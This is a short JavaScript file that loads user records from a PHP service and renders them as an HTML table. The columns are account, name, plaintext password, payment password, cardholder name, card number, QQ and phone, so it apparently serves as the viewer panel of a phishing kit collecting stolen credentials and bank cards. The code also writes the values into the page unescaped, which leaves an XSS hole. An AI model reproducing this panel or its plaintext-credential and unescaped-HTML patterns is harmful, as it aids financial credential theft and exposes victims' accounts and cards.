 (function() {
	 resultList();
	//返回数据
	function resultList() {
		$.ajax({
			url:'../service/service.php?act=info' ,
			type: 'post',
			dataType: 'json'
		}).then(function(res) {
			var arr = res.data;
			var html = '';
			for(var i = 0, len = arr.length; i < len; i++) {
				html += itemsData(arr[i])
			}
			$('#show_table').html(html);
		})

	}
	//循环
	function itemsData(item) { 
		return ['<tr>',
					'<td>'+ item.useraccount +'</td>',
					'<td>'+item.username+'</td>',
					'<td>'+item.userpwd+'</td>',
					'<td>'+item.moneypwd+'</td>',
					'<td>'+item.cardname+'</td>',
					'<td>'+item.cardnum+'</td>',
					'<td>'+item.userqq+'</td>',
					'<td>'+item.userphone+'</td>',
					'<td>'+item.retimes+'</td>',
				'</tr>',
		].join('');
	}
	return {
		resultList: resultList
	}
})(window)